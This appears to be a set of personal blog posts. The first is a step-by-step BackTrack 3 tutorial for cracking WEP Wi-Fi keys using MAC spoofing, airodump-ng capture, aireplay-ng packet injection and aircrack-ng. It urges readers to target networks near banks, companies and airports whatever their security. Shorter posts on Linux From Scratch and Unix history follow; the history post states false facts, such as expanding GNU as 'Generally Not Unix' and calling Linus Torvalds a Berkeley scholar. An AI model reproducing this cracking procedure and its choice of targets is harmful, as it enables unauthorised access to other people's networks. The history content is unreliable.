Distro Watch - BACK TRACK LINUX

Hi,

This session i am going to talk about the mother-of-all-hacks :)

Actually the backtrack linux distribution has come into existence because of "AUDITOR" & "WHAX". These two are of linux distributions but for only one purpose that is for live penetration testing. Which means it is used to check whether an computer or network is safe under malicious attack thus by creating simulated attacks.

Backtrack is simply the combination of those two distributions. So if you check for one stop OS to learn or hacking remote system then backtrack is for you....

You can live boot from USB stick or CD or from hard drive as your wish...but USB is more than enough for cracking WIFI network keys. yes today im going to talk about this part in detail....

CRACK WEP/WPA key with Backtrack 3:

You can find backtrack distros in this link: http://www.remote-exploit.org/backtrack_download.html .The official site for backtrack, version 4 beta has been released. But im going to download Back track 3 (USB version extended) .ISO file. It may take 4-5 hrs @ 54 MBPS speed, after downloaded extract the ISO file with the help of WINRAR, you will find two folders named "BOOT" & "BT3". Now format your USB drive and then copy those two folders alone...

After copied open command prompt in windows type the USB drive letter (for example f:) then press enter. then type the following..

prompt>cd BOOT
prompt\boot>bootinst.bat then press enter...

Now Reeboot your computer while rebooting goto bios setup change boot from harddrive to boot from USB. Now backtrack get's loaded from USB drive....

Make sure you have built in WIFI adapter or you have to buy external USB WIFI adapter for your system....

After Backtrack desktop get loaded open terminal window (just like command prompt in windows) then open two more terminal windows... with three terminal shell opened type the followings....from now on i name those three shell window as shell1, shell2 & shell3...

open first terminal shell window i.e. Shell1 and type the following...

airmon-ng stop wlan0

ifconfig wlan0 down

macchanger --mac 00:11:22:33:44:55 wlan0

airmon-ng start wlan0


check for monitor mode enabled...


airodump-ng wlan0


program runs...after that it shows list of secured or unsecured wifi networks along with name,bssid,essid,channel number etc...choose the one you want....and proceed further...


airodump-ng -c -w wep --bssid wlan0


program runs in SHELL 1...Which actually monitors the status of the program...

open another shell i.e SHELL 2....n enter the following command


aireplay-ng -1 0 -a -h 00:11:22:33:44:55 -e wlan0


program runs in 2nd shell

after getting association successful message...type the following in SHELL 2..


aireplay-ng -3 -b -h 00:11:22:33:44:55 wlan0


program runs to get connect to your target network...

open 3rd shell n type...


aircrack-ng wep-01.cap


Brute force combination program runs untill decrypt correctly so wait...

you will get a cracked key in a minute... Happy hacking...:)

NOTE: Make sure you are in safe place...and stay near WIFI hotspots such as bank, MNC's, railway stations or airports.....etc...it doesn't matter whether your target network is secured or unsecured....

Remember every system has a "FLAW".........

LFS

      Hello netpals for the past six months i have been busy with my projects, i couldn't able to update my blog. Before we start linux from scratch, we should know who behind this.

“Gerard beekmans” a well known author in the space of open source,
who is an initiator of this project.

Follow this link http://www.linuxfromscratch.org/credits.html for other developers who involved in various version in development of this project taking to new heights. http://www.linuxfromscratch.org is the official site for this projects. Each category deals on different ways. It's up to you to make your choice and work on it.

It is always better to start with LFS project then move onto other, then only we will be able to understand the basics to some extent as per experts advice. So this blog is not for those who wish to work on other than LFS, for the rest of the people can proceed with this....

It is a step-by-step guide to develop linux from scratch to understand linux internals better. The purpose to have an customized OS that suits to our needs.For example, i have an apache server in my office in a system which only runs this application alone. I don't need to waste all the resource to run this application alone.

I built a system to run this application alone which holds 5 to 8 MB of disk space.Say a pen drive is enough to run Live OS to run this application. That kind of customized OS we can built using this project.

So tech folks i guess you all understand what im talking about. With forth coming blogs i will surely write about technical nitty gritty of this project.

A Voyage to UNIX Distros

User can study,change and redistribute any application or software or even OS to any body that are already developed under free software license....

OK before we start, we need to review its history...

Where does this comes from...

Actually it has been originated by group of scholars [individuals] from university of california, Berkeley under code named BSD [Berkeley Software Distribution].From which the UNIX distributions has been evolved. UNIX OS on the other hand developed by AT&T employess in Bell Labs.

What is the current growth status of this distributions...

Wow..its huge and extra ordinary growth and picked up in the market late 90's...That's the time where india get to know about computers exist in the world..Today we have seen in the ads,campaign or even through our freinds talk about linux. A linux is an another OS which has emerged in WEST during the times where computer means WINDOWS OS to indians..

But these guys silently created the revolution in OS, LINUX is distributed under GNU GPL license.Where any body can take it,read,modify and redistribute to the same community.

It's like 'we provide the code you give me the improved code'.

Who's is the owner for opensource...

Well no body can claim its ownership....since its open source means to every body...but certain distros [here after for distributions] has been released under commercial license ex: Red Hat, SUSE, Mandrake etc..

Acronyms with expansion:

GNU - Generally Not Unix
GPL - General Public License

LINUX - An OS named after and its kernel maintained by a berkeley scholar and well known hacker in opensource named 'LINUS TORVALDIS'.

What do you mean by kernel...

A kernel represents core of an opensource OS....It's like DOS in windows....In fact MAC OS is built on another BSD and its kernel name is 'DARWIN' on top of it MAC OS has been built.
